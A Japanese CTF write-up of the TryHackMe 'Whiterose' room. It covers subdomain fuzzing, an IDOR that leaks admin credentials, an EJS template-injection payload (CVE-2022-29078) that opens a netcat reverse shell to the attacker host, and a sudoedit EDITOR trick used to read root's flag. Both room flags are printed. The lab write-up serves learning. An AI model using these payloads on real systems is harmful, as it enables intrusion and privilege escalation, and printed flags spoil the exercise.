【TryHackMe】Whiterose Writeup

# はじめに
今回はTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「[Whiterose](https://tryhackme.com/r/room/whiterose)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

# 環境
| 環境| IPアドレス |
| ---- | ---- |
| 攻撃マシン | 10.6.71.140 |
| ターゲットマシン | 10.10.60.127 |

# Task 1 Welcome!

最初にポートスキャンを行います。
オプションは、応答の無いホストに対してもスキャンを行う「-Pn」、スキャンの高速化を行う「-T4」をつけてます。

```
└─$ nmap -Pn -T4 10.10.60.127
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-25 05:34 EST
Nmap scan report for 10.10.60.127
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
8383/tcp filtered m2mservices

Nmap done: 1 IP address (1 host up) scanned in 24.10 seconds
```

80ポートが開いている為ブラウザへのアクセスを試みたところ、「cyprusbank.thm/」にリダイレクトされる事を確認しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/40cda4a4-52e0-41ac-a410-ede6d7cd8b6e.png)

タイムアウトの表示がされたため、過去の対応をもとに「/etc/hosts」ファイルにIPアドレスとホスト名を追加してみます。

```
┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/hosts

10.10.60.127    cyprusbank.thm  
```

タイムアウトは解消されましたが、メンテナンス画面が表示されました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/f31c3f5b-8907-4960-9d6e-12bd2dfd3b7c.png)

この場合にはfuzzを使用して、サブドメインを探すとのこと。
単語数1の結果がかなり出力されるため、fwオプションに1を指定して実行します。

```
└─$ ffuf -u http://cyprusbank.thm/ -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host: FUZZ.cyprusbank.thm" -fw 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://cyprusbank.thm/
 :: Wordlist         : FUZZ: /usr/share/wordlists/amass/subdomains-top1mil-5000.txt
 :: Header           : Host: FUZZ.cyprusbank.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

www                     [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 302ms]
admin                   [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 335ms]
WWW                     [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 240ms]
:: Progress: [5000/5000] :: Job [1/1] :: 167 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

```

サブドメインが解析されたので、改めてドメイン名を「/etc/hosts」ファイルに追加します。

```
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.60.127    www.cyprusbank.thm  admin.cyprusbank.thm WWW.cyprusbank.thm
```

「admin.cyprusbank.thm/login」へアクセスしたところ、ログイン画面が表示されました。
問題文にある以下の情報はログイン時に使用するみたいです。
```
Olivia Cortez:olivi8
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/6796e887-0d18-4a22-a58d-55fda350faa4.png)

ログインしたところ、ユーザ情報が記載された画面へ遷移されることを確認しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/f30b281c-740b-45fa-bd0b-e166fe2a7223.png)

## What's Tyrell Wellick's phone number?
Tyrell Wellickの電話番号を探しますが、伏せ字で詳細が分からず。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/8446e4cf-a187-4fc8-98d7-ba15f3fe55c8.png)

続いてメッセージを確認したところ、URLにパラメータあることを確認。
IDORであれば、パラメータの値を変更して何か変化するかを確認。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/1de51cbf-afb3-4844-b935-f0cb13c5814c.png)

「?/c=0」にしたら、管理者と思われるアカウント情報を確認しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/ad51125e-b28d-4df4-b7ab-df23b8f76e69.png)

そのアカウントでログインしたところ、伏せ字の電話番号が表示される事を確認しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/b6d419e2-8731-41ed-b1ac-37bee5b017a2.png)

よって、以下が回答になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/a6fc2842-799f-49f1-a67c-247d15a4c7a5.png)

## What is the user.txt flag?

管理者アカウントのみアクセス可能な設定ページで新しいアカウントが作成可能なことを確認。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/3b1d2840-b569-4b94-93ba-4ac77b3b58f5.png)

Burp Suiteを使用し、パスワードのパラメータを「passrowd」から「password1」に変更し、意図的にエラーを起こした所、「/home/web/app/views/settings.ejs」にエラーがあること確認。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/4820fad5-5147-4b81-b8b2-58d127e08e8d.png)

このファイルで調査した所、ejsファイルに脆弱性（CVE-2022-29078）があるとのこと
https://github.com/Robthreefold/goof/issues/274

execSyncを使用することで任意のコマンドの実行が可能であるため、以下のコマンドを実行（事前に攻撃マシン内でnetcatを実行しておく）

```
settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('busybox nc 10.6.71.140 1337 -e /bin/bash');s
```

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.6.71.140] from (UNKNOWN) [10.10.60.127] 33492
```

 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/976cc6b4-825d-475f-87d9-29a01d0034c8.png)

以下を実行し、インタラクティブなbashを起動しておく。
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

user.txtファイルを確認した為、中身を確認してフラグ獲得です。
```
web@cyprusbank:~$ cat user.txt
cat user.txt
THM{4lways_upd4te_uR_d3p3nd3nc!3s}
web@cyprusbank:~$ 
```

## What is the root.txt flag?

現在のユーザーがsudoで実行できるコマンドを確認します。
```
web@cyprusbank:~$ sudo -l
sudo -l
Matching Defaults entries for web on cyprusbank:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User web may run the following commands on cyprusbank:
    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
```
「sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm」が実行可能であるとのこと。

```
web@cyprusbank:~/app$ cat /etc/nginx/sites-available/admin.cyprusbank.thm
cat /etc/nginx/sites-available/admin.cyprusbank.thm
server {
  listen 80;
    
  server_name admin.cyprusbank.thm;
    
  location / {
    proxy_pass http://localhost:8080;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection 'upgrade';
    proxy_set_header Host $host;
    proxy_cache_bypass $http_upgrade;
  }
}
web@cyprusbank:~/app$ 
```

調べてみたところ、以下の方法で現ユーザを昇格が可能であるが、シェルの仕様上うまく出来なかったため、少々手順を変更して実施。
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/

今回は、root.txtファイルをエディターコマンド実行時、自動で開くようにしフラグ獲得を試みます。

```
web@cyprusbank:~/app$ export EDITOR='vi -- /root/root.txt'
export EDITOR='vi -- /root/root.txt'
web@cyprusbank:~/app$ sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
```

```
THM{4nd_uR_p4ck4g3s}
~                                                                               
~                                                                               
~                                                                           
~                                                                               
"/var/tmp/root2xYHzfCD.txt" 1L, 21C                           1,1           All
```
無事フラグ獲得となります。
# さいごに

久しぶりの投稿でした。
以上となります。